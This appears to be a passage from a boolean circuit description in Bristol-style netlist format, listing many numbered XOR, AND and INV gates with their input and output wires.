6164 6115 6067 XOR +2 1 33603 6066 6065 XOR +2 1 6166 6121 6161 XOR +2 1 6161 6162 6160 AND +2 1 6166 6160 6158 XOR +2 1 6168 6158 6157 AND +2 1 6157 6165 6155 XOR +2 1 6160 6119 6074 XOR +2 1 6160 6177 6073 XOR +2 1 6073 6174 6068 XOR +2 1 6068 6069 6151 XOR +2 1 6151 6194 6132 AND +2 1 6151 6183 6141 AND +2 1 6157 6175 6128 XOR +2 1 33599 6128 6111 XOR +2 1 6160 6168 6159 XOR +2 1 6159 6191 6136 AND +2 1 6159 33598 6145 AND +2 1 6128 6122 6149 XOR +2 1 6149 6186 6147 AND +2 1 6149 6190 6138 AND +2 1 6164 6121 6163 XOR +2 1 6163 6155 6154 AND +2 1 6163 6189 6133 AND +2 1 6163 6182 6142 AND +2 1 6154 6124 6114 XOR +2 1 6114 6116 6153 XOR +2 1 6153 6188 6134 AND +2 1 6153 6192 6143 AND +2 1 6114 6067 6150 XOR +2 1 6150 6180 6144 AND +2 1 6150 6195 6135 AND +2 1 6144 6135 6097 XOR +2 1 6142 6134 6099 XOR +2 1 6145 6147 6127 XOR +2 1 6142 6143 6081 XOR +2 1 6111 6074 6156 XOR +2 1 6156 6187 6137 AND +2 1 6156 6185 6146 AND +2 1 6154 6178 6072 XOR +2 1 6111 6072 6064 XOR +2 1 6064 6065 6148 XOR +2 1 6148 6196 6131 AND +2 1 6148 6181 6140 AND +2 1 6140 6143 6096 XOR +2 1 6131 6132 6126 XOR +2 1 6137 6126 6108 XOR +2 1 6138 6108 6109 XOR +2 1 6099 6126 6095 XOR +1 1 6096 6093 INV +2 1 6146 6109 6113 XOR +2 1 6147 6113 6118 XOR +2 1 6140 6141 6092 XOR +2 1 6118 6092 6198 XOR +2 1 6127 6095 6098 XOR +2 1 6097 6098 6200 XOR +2 1 6145 6113 6082 XOR +2 1 6081 6082 35245 XOR +2 1 6378 35245 6375 XOR +2 1 6375 6376 6668 XOR +2 1 6101 6064 6071 XOR +2 1 6068 6071 6152 XOR +2 1 6152 6184 6139 AND +2 1 6135 6139 6112 XOR +1 1 6112 6090 INV +2 1 6090 6095 6094 XOR +2 1 6093 6094 6199 XOR +2 1 6152 6193 6130 AND +2 1 6141 6130 6091 XOR +1 1 6091 6087 INV +2 1 6090 6133 6089 XOR +2 1 6089 6127 6085 XOR +2 1 6132 6085 6088 XOR +2 1 6087 6088 6197 XOR +2 1 6108 6085 6084 XOR +2 1 35213 35218 6624 XOR +1 1 6624 6488 INV +2 1 6624 6622 6466 XOR +2 1 6488 6612 6486 XOR +2 1 6466 6467 35123 XOR +2 1 35123 964 33697 XOR +2 1 35241 35245 6630 XOR +2 1 6424 6630 6433 XOR +2 1 6433 6434 35139 XOR +2 1 35139 948 33713 XOR +2 1 6405 6630 6403 XOR +2 1 6668 6641 35147 XOR +2 1 35147 940 33721 XOR +2 1 6674 6624 35115 XOR +2 1 35115 972 33689 XOR +2 1 33590 24513 24512 XOR +2 1 33590 33596 24433 XOR +2 1 24433 24428 24509 XOR +2 1 24427 24433 24516 XOR +2 1 24443 24516 24514 XOR +2 1 33595 24433 24519 XOR +2 1 33591 24519 24515 XOR +2 1 33590 24388 24518 XOR +2 1 24514 24512 24505 AND +2 1 24499 24505 24450 XOR +2 1 24450 24441 24497 XOR +2 1 24518 33590 24504 AND +2 1 24498 24504 24455 XOR +2 1 24455 24427 24442 XOR +2 1 24450 24442 24494 XOR +2 1 24436 24455 24404 XOR +2 1 33595 24404 24447 XOR +2 1 24519 24515 24502 AND +2 1 24502 24448 24496 XOR +2 1 24516 24509 24501 AND +2 1 24498 24501 24451 XOR +2 1 24499 24451 24445 XOR +2 1 24431 24451 24405 XOR +2 1 24405 24430 24495 XOR +2 1 24502 24445 24401 XOR +2 1 33591 24401 24489 XOR +2 1 24497 24496 24493 AND +2 1 24493 24447 24488 XOR +2 1 24493 24495 24492 XOR +2 1 24494 24492 24491 AND +2 1 24491 24447 24490 XOR +2 1 24491 24503 24396 XOR +2 1 24396 24432 24392 XOR +2 1 33597 24392 24395 XOR +2 1 24491 24441 24393 XOR +2 1 33595 24392 24391 XOR +2 1 24488 24489 24487 AND +2 1 24487 24495 24486 XOR +2 1 24493 24487 24485 XOR +2 1 24487 24445 24400 XOR +2 1 24487 24504 24399 XOR +2 1 24399 24501 24394 XOR +2 1 24394 24395 24478 XOR +2 1 24495 24485 24484 AND +2 1 24484 24492 24482 XOR +2 1 24484 24502 24454 XOR +2 1 24454 24448 24476 XOR +2 1 33591 24454 24437 XOR +2 1 24437 24400 24483 XOR +2 1 24490 24482 24481 AND +2 1 24481 24450 24440 XOR +2 1 24440 24442 24480 XOR +2 1 24481 24505 24398 XOR +2 1 24437 24398 24390 XOR +2 1 24427 24390 24397 XOR +2 1 24394 24397 24479 XOR +2 1 24440 24393 24477 XOR +2 1 24390 24391 24475 XOR +2 1 24476 24513 24474 AND +2 1 24483 24512 24473 AND +2 1 24486 33590 24472 AND +2 1 24472 24474 24453 XOR +2 1 24477 24507 24471 AND +2 1 24480 24519 24470 AND +2 1 24470 24471 24456 XOR +2 1 24490 24509 24469 AND +2 1 24469 24470 24407 XOR +2 1 24478 24510 24468 AND +2 1 24475 24508 24467 AND +2 1 24467 24456 24446 XOR +2 1 24467 24470 24422 XOR +1 1 24422 24419 INV +2 1 24467 24468 24418 XOR +2 1 24468 24446 24406 XOR +2 1 24479 24511 24466 AND +2 1 24476 24517 24465 AND +2 1 24483 24514 24464 AND +2 1 24486 24518 24463 AND +2 1 24463 24446 24412 XOR +1 1 24412 24409 INV +2 1 24477 24522 24462 AND +2 1 24462 24466 24438 XOR +2 1 24471 24462 24423 XOR +1 1 24438 24416 INV +2 1 24480 24515 24461 AND +2 1 24469 24461 24425 XOR +2 1 24490 24516 24460 AND +2 1 24416 24460 24415 XOR +2 1 24415 24453 24411 XOR +2 1 24478 24521 24459 AND +2 1 24459 24411 24414 XOR +2 1 24475 24523 24458 AND +2 1 24458 24459 24452 XOR +2 1 24464 24452 24434 XOR +2 1 24465 24434 24435 XOR +2 1 24473 24435 24439 XOR +2 1 24474 24439 24444 XOR +2 1 24456 24444 35259 XOR +2 1 35259 35263 6605 XOR +2 1 24425 24452 24421 XOR +2 1 24453 24421 24424 XOR +2 1 24423 24424 24527 XOR +2 1 24416 24421 24420 XOR +2 1 24419 24420 24526 XOR +2 1 24444 24418 24525 XOR +2 1 24434 24411 24410 XOR +2 1 24409 24410 35257 XOR +2 1 35257 35261 6606 XOR +2 1 24472 24439 24408 XOR +2 1 24407 24408 35258 XOR +2 1 35259 35258 6396 XOR +2 1 35254 35258 6608 XOR +2 1 6608 6606 6547 XOR +2 1 24435 24406 35260 XOR +2 1 35260 35264 6588 XOR +2 1 6588 35262 6395 XOR +2 1 6395 6396 6660 XOR +1 1 6588 6684 INV +2 1 6684 32784 6579 XOR +2 1 35256 35260 6603 XOR +2 1 6603 35263 6560 XOR +2 1 6603 32785 6340 XOR +2 1 6603 35257 6342 XOR +2 1 6342 6343 6682 XOR +2 1 24479 24520 24457 AND +2 1 24468 24457 24417 XOR +1 1 24417 24413 INV +2 1 24413 24414 24524 XOR +2 1 6143 6144 32653 XOR +2 1 32653 6118 35246 XOR +2 1 6378 35246 6379 XOR +2 1 35242 35246 6621 XOR +2 1 6626 6621 6402 XOR +2 1 32980 6402 35157 XOR +2 1 35157 930 33731 XOR +2 1 6408 6621 6431 XOR +2 1 6431 6432 35140 XOR +2 1 6379 6380 6667 XOR +2 1 6667 6633 35148 XOR +2 1 35148 939 33722 XOR +2 1 35140 947 33714 XOR +2 1 6140 32653 6120 XOR +2 1 6141 6120 6080 XOR +2 1 6109 6080 35247 XOR +2 1 33227 35247 6415 XOR +2 1 6415 6416 35151 XOR +2 1 35151 936 33725 XOR +2 1 33722 33725 14228 XOR +2 1 6136 6120 6086 XOR +1 1 6086 6083 INV +2 1 6083 6084 35244 XOR +2 1 6424 35244 6422 XOR +2 1 6422 6423 35146 XOR +2 1 35146 941 33720 XOR +2 1 33720 33722 14230 XOR +2 1 33721 33720 14111 XOR +2 1 33725 33720 14227 XOR +2 1 35232 35247 6598 XOR +2 1 6598 35245 6371 XOR +2 1 6371 6372 6670 XOR +2 1 6670 6621 35132 XOR +2 1 35132 955 33706 XOR +2 1 35240 35244 6640 XOR +2 1 6655 6640 6435 XOR +2 1 35229 6435 35138 XOR +1 1 6640 6453 INV +2 1 35138 949 33712 XOR +2 1 6408 6640 6406 XOR +2 1 33712 33714 16593 XOR +2 1 33713 33712 16474 XOR +2 1 35243 35247 6590 XOR +2 1 6619 6590 6428 XOR +2 1 35232 6428 35143 XOR +2 1 35143 944 33717 XOR +2 1 6656 6590 6414 XOR +2 1 32975 6414 35152 XOR +2 1 35152 935 33726 XOR +2 1 33714 33717 16591 XOR +2 1 33717 33712 16590 XOR +1 1 6590 6686 INV +2 1 6686 35241 6407 XOR +2 1 6686 32974 6412 XOR +2 1 6406 6407 35155 XOR +2 1 35155 932 33729 XOR +2 1 6686 35242 6404 XOR +2 1 6403 6404 35156 XOR +2 1 35156 931 33730 XOR +2 1 14872 14873 32660 XOR +2 1 32660 14847 35214 XOR +2 1 32941 35214 6504 XOR +2 1 6503 6504 35101 XOR +2 1 35101 986 33675 XOR +2 1 35214 35219 6620 XOR +2 1 6620 6607 6485 XOR +1 1 6620 6462 INV +2 1 6462 6617 6459 XOR +2 1 6459 6460 35124 XOR +2 1 35124 963 33698 XOR +2 1 6673 6620 35116 XOR +2 1 35116 971 33690 XOR +2 1 14869 32660 14849 XOR +2 1 14865 14849 14815 XOR +1 1 14815 14812 INV +2 1 14812 14813 35212 XOR +2 1 14870 14849 14809 XOR +2 1 14838 14809 35215 XOR +2 1 6351 35212 6350 XOR +2 1 35215 35220 6592 XOR +2 1 6629 6592 6495 XOR +2 1 6592 33032 6455 XOR +2 1 6455 6456 35127 XOR +2 1 6609 6592 6472 XOR +2 1 35228 6472 35119 XOR +2 1 35127 960 33701 XOR +2 1 35119 968 33693 XOR +2 1 33690 33693 14367 XOR +2 1 33698 33701 6822 XOR +2 1 35215 35228 6601 XOR +2 1 6629 6601 6507 XOR +2 1 32943 6507 35096 XOR +2 1 35096 991 33670 XOR +2 1 6601 35226 6352 XOR +2 1 6352 6353 6678 XOR +1 1 6601 6348 INV +2 1 6348 35225 6349 XOR +2 1 6348 33026 6346 XOR +2 1 6349 6350 6679 XOR +2 1 6678 6612 35100 XOR +2 1 35100 987 33674 XOR +2 1 6679 6617 35099 XOR +2 1 35099 988 33673 XOR +2 1 35212 35217 6627 XOR +1 1 6627 6480 INV +2 1 6480 35225 6478 XOR +2 1 6480 6617 6489 XOR +2 1 6478 6479 35114 XOR +2 1 35114 973 33688 XOR +2 1 33688 33690 14369 XOR +2 1 33689 33688 14250 XOR +2 1 33693 33688 14366 XOR +2 1 6627 6625 6468 XOR +2 1 35221 6468 35122 XOR +2 1 35122 965 33696 XOR +2 1 33701 33696 6821 XOR +2 1 33697 33696 6704 XOR +2 1 33696 33698 6824 XOR +1 1 6598 6367 INV +2 1 6367 35244 6368 XOR +2 1 6368 6369 6671 XOR +2 1 6671 6630 35131 XOR +2 1 35131 956 33705 XOR +2 1 6032 6038 5990 XOR +2 1 5990 5962 5977 XOR +2 1 5985 5977 6028 XOR +2 1 6028 6026 6025 AND +2 1 6025 5976 5928 XOR +2 1 6025 6037 5931 XOR +2 1 5931 5967 5927 XOR +2 1 33587 5927 5926 XOR +2 1 33589 5927 5930 XOR +2 1 5971 5990 5939 XOR +2 1 33587 5939 5982 XOR +2 1 6027 5982 6022 XOR +2 1 6025 5982 6024 XOR +2 1 6022 6023 6021 AND +2 1 6021 6029 6020 XOR +2 1 6027 6021 6019 XOR +2 1 6021 6038 5934 XOR +2 1 5934 6035 5929 XOR +2 1 6029 6019 6018 AND +2 1 6018 6026 6016 XOR +2 1 6024 6016 6015 AND +2 1 6015 5985 5975 XOR +2 1 5975 5977 6014 XOR +2 1 6020 33582 6006 AND +2 1 5929 5930 6012 XOR +2 1 6014 6053 6004 AND +2 1 6024 6043 6003 AND +2 1 6003 6004 5942 XOR +2 1 5975 5928 6011 XOR +2 1 6011 6041 6005 AND +2 1 6012 6044 6002 AND +2 1 6020 6052 5997 AND +2 1 6011 6056 5996 AND +2 1 6014 6049 5995 AND +2 1 6005 5996 5958 XOR +2 1 6003 5995 5960 XOR +2 1 6021 5980 5935 XOR +2 1 6015 6039 5933 XOR +2 1 6024 6050 5994 AND +2 1 6012 6055 5993 AND +2 1 6018 6036 5989 XOR +2 1 33583 5989 5972 XOR +2 1 5972 5935 6017 XOR +2 1 6017 6048 5998 AND +2 1 6017 6046 6007 AND +2 1 5972 5933 5925 XOR +2 1 5925 5926 6009 XOR +2 1 6009 6042 6001 AND +2 1 6001 6002 5953 XOR +2 1 6001 6004 5957 XOR +1 1 5957 5954 INV +2 1 5962 5925 5932 XOR +2 1 5929 5932 6013 XOR +2 1 6013 6045 6000 AND +2 1 6009 6057 5992 AND +2 1 5992 5993 5987 XOR +2 1 5998 5987 5969 XOR +2 1 5960 5987 5956 XOR +2 1 6013 6054 5991 AND +2 1 6002 5991 5952 XOR +1 1 5952 5948 INV +2 1 5996 6000 5973 XOR +1 1 5973 5951 INV +2 1 5951 5956 5955 XOR +2 1 5954 5955 6060 XOR +2 1 5951 5994 5950 XOR +2 1 5989 5983 6010 XOR +2 1 6010 6047 6008 AND +2 1 6010 6051 5999 AND +2 1 5999 5969 5970 XOR +2 1 6007 5970 5974 XOR +2 1 6006 5974 5943 XOR +2 1 5942 5943 35197 XOR +2 1 6008 5974 5979 XOR +2 1 5979 5953 6059 XOR +1 1 6059 35200 INV +2 1 32903 35200 6645 XOR +2 1 32895 6059 6520 XOR +2 1 35204 35197 6382 XOR +2 1 35193 35197 6659 XOR +1 1 6659 6541 INV +2 1 6004 6005 32652 XOR +2 1 6001 32652 5981 XOR +2 1 5997 5981 5947 XOR +2 1 6002 5981 5941 XOR +2 1 5970 5941 35201 XOR +1 1 5947 5944 INV +2 1 35201 35206 6596 XOR +1 1 6596 6530 INV +2 1 35195 35201 6595 XOR +2 1 6595 35193 6385 XOR +1 1 6595 6688 INV +2 1 6688 35194 6540 XOR +2 1 32652 5979 35198 XOR +2 1 35194 35198 6650 XOR +2 1 35205 35198 6524 XOR +2 1 6006 6008 5988 XOR +2 1 5950 5988 5946 XOR +2 1 5993 5946 5949 XOR +2 1 5948 5949 6058 XOR +2 1 32894 6058 6522 XOR +1 1 6058 35199 INV +2 1 32902 35199 6647 XOR +2 1 5969 5946 5945 XOR +2 1 5944 5945 35196 XOR +2 1 35196 35203 6634 XOR +2 1 35192 35196 6386 XOR +2 1 6385 6386 6664 XOR +1 1 6634 6517 INV +2 1 6659 6517 6528 XOR +2 1 6517 35192 6515 XOR +2 1 5988 5956 5959 XOR +2 1 5958 5959 6061 XOR +1 1 6060 32777 INV +2 1 6530 32777 6534 XOR +2 1 32777 35202 6636 XOR +1 1 6061 32778 INV +2 1 6688 32778 6383 XOR +2 1 6383 6384 6665 XOR +2 1 32778 32896 6635 XOR +1 1 6197 32779 INV +2 1 6626 32779 6420 XOR +2 1 6420 6421 35149 XOR +2 1 35149 938 33723 XOR +2 1 33723 33725 14135 XOR +2 1 14135 14230 14215 XOR +2 1 14230 14215 14206 AND +2 1 32980 32779 6615 XOR +2 1 6633 6615 6430 XOR +2 1 6615 35246 6450 XOR +1 1 6450 6448 INV +2 1 6448 6449 35133 XOR +2 1 32976 6430 35141 XOR +2 1 35141 946 33715 XOR +2 1 35133 954 33707 XOR +2 1 33715 33717 16498 XOR +2 1 16498 16593 16578 XOR +2 1 16593 16578 16569 AND +2 1 6619 6615 6401 XOR +2 1 32973 6401 35158 XOR +2 1 35158 929 33732 XOR +2 1 33726 33732 12461 XOR +2 1 33731 12461 12547 XOR +2 1 33730 33732 12457 XOR +2 1 12457 33731 12416 XOR +2 1 33726 12416 12546 XOR +2 1 12546 33726 12532 AND +1 1 6198 32780 INV +2 1 6590 32780 6440 XOR +2 1 6440 6441 35135 XOR +2 1 35135 952 33709 XOR +2 1 6619 32780 6419 XOR +1 1 6419 6417 INV +2 1 6417 6418 35150 XOR +2 1 35150 937 33724 XOR +2 1 33722 33724 14137 XOR +2 1 14137 14135 14097 XOR +2 1 14137 33723 14096 XOR +2 1 33707 33709 19556 XOR +2 1 33706 33709 19649 XOR +2 1 32973 32780 6604 XOR +2 1 6604 6593 6400 XOR +2 1 6626 6604 6429 XOR +2 1 32969 6429 35142 XOR +2 1 6604 32779 6443 XOR +2 1 6443 6444 6442 XOR +1 1 6442 35134 INV +2 1 35142 945 33716 XOR +2 1 35134 953 33708 XOR +2 1 35243 6400 35159 XOR +2 1 35159 928 33733 XOR +2 1 33714 33716 16500 XOR +2 1 16500 16498 16460 XOR +2 1 16500 33715 16459 XOR +2 1 33731 33733 12455 XOR +2 1 12457 12455 12417 XOR +2 1 12455 12461 12544 XOR +2 1 33706 33708 19558 XOR +2 1 19558 19556 19518 XOR +2 1 19558 33707 19517 XOR +2 1 33730 33733 12549 XOR +1 1 6199 32781 INV +2 1 32974 32781 6644 XOR +2 1 6648 6644 6409 XOR +2 1 6656 6644 6437 XOR +2 1 6437 6438 6436 XOR +1 1 6436 35137 INV +2 1 6453 32781 6451 XOR +2 1 6451 6452 35130 XOR +2 1 35137 950 33711 XOR +2 1 35130 957 33704 XOR +2 1 35240 6409 35154 XOR +2 1 35154 933 33728 XOR +2 1 33711 33713 16497 XOR +2 1 33712 16497 16499 XOR +2 1 33716 16499 16580 XOR +2 1 33715 16499 16577 XOR +2 1 16497 16591 16583 XOR +2 1 33711 33712 16514 XOR +2 1 16591 16514 16587 XOR +2 1 16497 16460 16581 XOR +2 1 33717 33711 16592 XOR +2 1 16583 16587 16576 AND +2 1 16576 16500 16503 XOR +2 1 16592 16577 16573 AND +2 1 16573 16498 16502 XOR +2 1 16591 16580 16570 AND +2 1 16570 16499 16501 XOR +2 1 16503 16501 16507 XOR +2 1 33717 16507 16512 XOR +2 1 16569 16570 16473 XOR +2 1 16473 16474 16520 XOR +2 1 16520 16502 16519 XOR +2 1 16590 16581 16568 AND +2 1 6597 32781 6373 XOR +2 1 33733 33728 12548 XOR +2 1 33704 33706 19651 XOR +2 1 19556 19651 19636 XOR +2 1 33705 33704 19532 XOR +2 1 33709 33704 19648 XOR +2 1 19651 19636 19627 AND +2 1 33728 33730 12551 XOR +2 1 12455 12551 12536 XOR +2 1 12551 12536 12527 AND +2 1 6373 6374 6669 XOR +2 1 33729 33728 12431 XOR +2 1 6669 6655 35145 XOR +2 1 35145 942 33719 XOR +2 1 33719 33721 14134 XOR +2 1 33720 14134 14136 XOR +2 1 33724 14136 14217 XOR +2 1 33723 14136 14214 XOR +2 1 14134 14228 14220 XOR +2 1 33719 33720 14151 XOR +2 1 14228 14151 14224 XOR +2 1 14134 14097 14218 XOR +2 1 33725 33719 14229 XOR +2 1 14220 14224 14213 AND +2 1 14213 14137 14140 XOR +2 1 14229 14214 14210 AND +2 1 14210 14135 14139 XOR +2 1 14228 14217 14207 AND +2 1 14207 14136 14138 XOR +2 1 14140 14138 14144 XOR +2 1 33725 14144 14149 XOR +2 1 14206 14207 14110 XOR +2 1 14110 14111 14157 XOR +2 1 14157 14139 14156 XOR +2 1 14227 14218 14205 AND +1 1 6200 32782 INV +2 1 32782 6425 35144 XOR +2 1 35144 943 33718 XOR +2 1 33718 14220 14219 XOR +2 1 33718 33724 14141 XOR +2 1 14141 14136 14216 XOR +2 1 14135 14141 14223 XOR +2 1 14151 14223 14221 XOR +2 1 33723 14141 14226 XOR +2 1 33719 14226 14222 XOR +2 1 33718 14096 14225 XOR +2 1 14221 14219 14212 AND +2 1 14206 14212 14158 XOR +2 1 14158 14149 14204 XOR +2 1 14225 33718 14211 AND +2 1 14205 14211 14163 XOR +2 1 14163 14135 14150 XOR +2 1 14158 14150 14201 XOR +2 1 14144 14163 14112 XOR +2 1 33723 14112 14155 XOR +2 1 14226 14222 14209 AND +2 1 14209 14156 14203 XOR +2 1 14223 14216 14208 AND +2 1 14205 14208 14159 XOR +2 1 14206 14159 14153 XOR +2 1 14139 14159 14113 XOR +2 1 14113 14138 14202 XOR +2 1 14209 14153 14109 XOR +2 1 33719 14109 14196 XOR +2 1 14204 14203 14200 AND +2 1 14200 14155 14195 XOR +2 1 14200 14202 14199 XOR +2 1 14201 14199 14198 AND +2 1 14198 14155 14197 XOR +2 1 14198 14210 14104 XOR +2 1 14104 14140 14100 XOR +2 1 33725 14100 14103 XOR +2 1 14198 14149 14101 XOR +2 1 33723 14100 14099 XOR +2 1 14195 14196 14194 AND +2 1 14194 14202 14193 XOR +2 1 14200 14194 14192 XOR +2 1 14194 14153 14108 XOR +2 1 14194 14211 14107 XOR +2 1 14107 14208 14102 XOR +2 1 14102 14103 14185 XOR +2 1 14202 14192 14191 AND +2 1 14191 14199 14189 XOR +2 1 14191 14209 14162 XOR +2 1 14162 14156 14183 XOR +2 1 33719 14162 14145 XOR +2 1 14145 14108 14190 XOR +2 1 14197 14189 14188 AND +2 1 14188 14158 14148 XOR +2 1 14148 14150 14187 XOR +2 1 14188 14212 14106 XOR +2 1 14145 14106 14098 XOR +2 1 14135 14098 14105 XOR +2 1 14102 14105 14186 XOR +2 1 14148 14101 14184 XOR +2 1 14098 14099 14182 XOR +2 1 14183 14220 14181 AND +2 1 14190 14219 14180 AND +2 1 14193 33718 14179 AND +2 1 14179 14181 14161 XOR +2 1 14184 14214 14178 AND +2 1 14187 14226 14177 AND +2 1 14197 14216 14176 AND +2 1 14176 14177 14115 XOR +2 1 14185 14217 14175 AND +2 1 14182 14215 14174 AND +2 1 14174 14177 14130 XOR +1 1 14130 14127 INV +2 1 14174 14175 14126 XOR +2 1 14186 14218 14173 AND +2 1 14183 14224 14172 AND +2 1 14190 14221 14171 AND +2 1 14193 14225 14170 AND +2 1 14184 14229 14169 AND +2 1 14169 14173 14146 XOR +2 1 14178 14169 14131 XOR +1 1 14146 14124 INV +2 1 14187 14222 14168 AND +2 1 14176 14168 14133 XOR +2 1 14197 14223 14167 AND +2 1 14124 14167 14123 XOR +2 1 14123 14161 14119 XOR +2 1 14185 14228 14166 AND +2 1 14166 14119 14122 XOR +2 1 14182 14230 14165 AND +2 1 14165 14166 14160 XOR +2 1 14171 14160 14142 XOR +2 1 14172 14142 14143 XOR +2 1 14180 14143 14147 XOR +2 1 14181 14147 14152 XOR +2 1 14133 14160 14129 XOR +2 1 14161 14129 14132 XOR +2 1 14131 14132 14234 XOR +2 1 14124 14129 14128 XOR +2 1 14127 14128 14233 XOR +2 1 14152 14126 14232 XOR +2 1 14142 14119 14118 XOR +2 1 14179 14147 14116 XOR +2 1 14115 14116 35459 XOR +2 1 14186 14227 14164 AND +2 1 14175 14164 14125 XOR +1 1 14125 14121 INV +2 1 14121 14122 14231 XOR +2 1 6367 32782 6365 XOR +2 1 6365 6366 6672 XOR +2 1 32975 32782 6652 XOR +2 1 6652 6593 6439 XOR +2 1 32971 6439 35136 XOR +2 1 6652 6598 6454 XOR +2 1 32926 6454 35128 XOR +2 1 35136 951 33710 XOR +2 1 35128 959 33702 XOR +2 1 33710 16583 16582 XOR +2 1 33710 33716 16504 XOR +2 1 16504 16499 16579 XOR +2 1 16498 16504 16586 XOR +2 1 16514 16586 16584 XOR +2 1 33715 16504 16589 XOR +2 1 33711 16589 16585 XOR +2 1 33710 16459 16588 XOR +2 1 16584 16582 16575 AND +2 1 16569 16575 16521 XOR +2 1 16521 16512 16567 XOR +2 1 16588 33710 16574 AND +2 1 16568 16574 16526 XOR +2 1 16526 16498 16513 XOR +2 1 16521 16513 16564 XOR +2 1 16507 16526 16475 XOR +2 1 33715 16475 16518 XOR +2 1 16589 16585 16572 AND +2 1 16572 16519 16566 XOR +2 1 16586 16579 16571 AND +2 1 16568 16571 16522 XOR +2 1 16569 16522 16516 XOR +2 1 16502 16522 16476 XOR +2 1 16476 16501 16565 XOR +2 1 16572 16516 16472 XOR +2 1 33711 16472 16559 XOR +2 1 16567 16566 16563 AND +2 1 16563 16518 16558 XOR +2 1 16563 16565 16562 XOR +2 1 16564 16562 16561 AND +2 1 16561 16518 16560 XOR +2 1 16561 16573 16467 XOR +2 1 16467 16503 16463 XOR +2 1 33717 16463 16466 XOR +2 1 16561 16512 16464 XOR +2 1 33715 16463 16462 XOR +2 1 16558 16559 16557 AND +2 1 16557 16565 16556 XOR +2 1 16563 16557 16555 XOR +2 1 16557 16516 16471 XOR +2 1 16557 16574 16470 XOR +2 1 16470 16571 16465 XOR +2 1 16465 16466 16548 XOR +2 1 16565 16555 16554 AND +2 1 16554 16562 16552 XOR +2 1 16554 16572 16525 XOR +2 1 16525 16519 16546 XOR +2 1 33711 16525 16508 XOR +2 1 16508 16471 16553 XOR +2 1 16560 16552 16551 AND +2 1 16551 16521 16511 XOR +2 1 16511 16513 16550 XOR +2 1 16551 16575 16469 XOR +2 1 16508 16469 16461 XOR +2 1 16498 16461 16468 XOR +2 1 16465 16468 16549 XOR +2 1 16511 16464 16547 XOR +2 1 16461 16462 16545 XOR +2 1 16546 16583 16544 AND +2 1 16553 16582 16543 AND +2 1 16556 33710 16542 AND +2 1 16542 16544 16524 XOR +2 1 16547 16577 16541 AND +2 1 16550 16589 16540 AND +2 1 16560 16579 16539 AND +2 1 16539 16540 16478 XOR +2 1 16548 16580 16538 AND +2 1 16545 16578 16537 AND +2 1 16537 16540 16493 XOR +1 1 16493 16490 INV +2 1 16537 16538 16489 XOR +2 1 16549 16581 16536 AND +2 1 16546 16587 16535 AND +2 1 16553 16584 16534 AND +2 1 16556 16588 16533 AND +2 1 16547 16592 16532 AND +2 1 16532 16536 16509 XOR +2 1 16541 16532 16494 XOR +1 1 16509 16487 INV +2 1 16550 16585 16531 AND +2 1 16539 16531 16496 XOR +2 1 16560 16586 16530 AND +2 1 16487 16530 16486 XOR +2 1 16486 16524 16482 XOR +2 1 16548 16591 16529 AND +2 1 16529 16482 16485 XOR +2 1 16545 16593 16528 AND +2 1 16528 16529 16523 XOR +2 1 16534 16523 16505 XOR +2 1 16535 16505 16506 XOR +2 1 16543 16506 16510 XOR +2 1 16544 16510 16515 XOR +2 1 16496 16523 16492 XOR +2 1 16524 16492 16495 XOR +2 1 16494 16495 16597 XOR +2 1 16487 16492 16491 XOR +2 1 16490 16491 16596 XOR +2 1 16515 16489 16595 XOR +2 1 16505 16482 16481 XOR +2 1 16542 16510 16479 XOR +2 1 16478 16479 35398 XOR +2 1 16549 16590 16527 AND +2 1 16538 16527 16488 XOR +1 1 16488 16484 INV +2 1 16484 16485 16594 XOR +1 1 16595 35401 INV +1 1 16594 35400 INV +2 1 6655 6652 6413 XOR +1 1 6413 6411 INV +2 1 6411 6412 35153 XOR +2 1 35153 934 33727 XOR +2 1 33733 33727 12550 XOR +2 1 33702 33708 19562 XOR +2 1 19556 19562 19644 XOR +2 1 33707 19562 19647 XOR +2 1 33702 19517 19646 XOR +2 1 19646 33702 19632 AND +2 1 33727 33728 12472 XOR +2 1 12472 12544 12542 XOR +2 1 33727 33729 12454 XOR +2 1 12454 12417 12539 XOR +2 1 12548 12539 12526 AND +2 1 12454 12549 12541 XOR +2 1 33726 12541 12540 XOR +2 1 12542 12540 12533 AND +2 1 33728 12454 12456 XOR +2 1 12461 12456 12537 XOR +2 1 33732 12456 12538 XOR +2 1 12549 12538 12528 AND +2 1 12528 12456 12458 XOR +2 1 33731 12456 12535 XOR +2 1 12550 12535 12531 AND +2 1 12527 12528 12430 XOR +2 1 12544 12537 12529 AND +2 1 12531 12455 12459 XOR +2 1 12527 12533 12479 XOR +2 1 12526 12529 12480 XOR +2 1 12459 12480 12433 XOR +2 1 12433 12458 12523 XOR +2 1 33727 12547 12543 XOR +2 1 12547 12543 12530 AND +2 1 12527 12480 12474 XOR +2 1 12430 12431 12478 XOR +2 1 12478 12459 12477 XOR +2 1 12530 12477 12524 XOR +2 1 12530 12474 12429 XOR +2 1 33727 12429 12517 XOR +2 1 6672 6644 35129 XOR +2 1 35129 958 33703 XOR +2 1 33703 33705 19555 XOR +2 1 33704 19555 19557 XOR +2 1 33708 19557 19638 XOR +2 1 33707 19557 19635 XOR +2 1 19562 19557 19637 XOR +2 1 33703 19647 19643 XOR +2 1 19555 19649 19641 XOR +2 1 33702 19641 19640 XOR +2 1 33703 33704 19572 XOR +2 1 19572 19644 19642 XOR +2 1 19649 19572 19645 XOR +2 1 19555 19518 19639 XOR +2 1 33709 33703 19650 XOR +2 1 19641 19645 19634 AND +2 1 19634 19558 19561 XOR +2 1 19642 19640 19633 AND +2 1 19627 19633 19579 XOR +2 1 19650 19635 19631 AND +2 1 19631 19556 19560 XOR +2 1 19647 19643 19630 AND +2 1 19644 19637 19629 AND +2 1 19649 19638 19628 AND +2 1 19628 19557 19559 XOR +2 1 19561 19559 19565 XOR +2 1 33709 19565 19570 XOR +2 1 19579 19570 19625 XOR +2 1 19627 19628 19531 XOR +2 1 19531 19532 19578 XOR +2 1 19578 19560 19577 XOR +2 1 19630 19577 19624 XOR +2 1 19648 19639 19626 AND +2 1 19626 19629 19580 XOR +2 1 19626 19632 19584 XOR +2 1 19584 19556 19571 XOR +2 1 19579 19571 19622 XOR +2 1 19627 19580 19574 XOR +2 1 19560 19580 19534 XOR +2 1 19534 19559 19623 XOR +2 1 19565 19584 19533 XOR +2 1 33707 19533 19576 XOR +2 1 19630 19574 19530 XOR +2 1 33703 19530 19617 XOR +2 1 19625 19624 19621 AND +2 1 19621 19576 19616 XOR +2 1 19621 19623 19620 XOR +2 1 19622 19620 19619 AND +2 1 19619 19576 19618 XOR +2 1 19619 19631 19525 XOR +2 1 19525 19561 19521 XOR 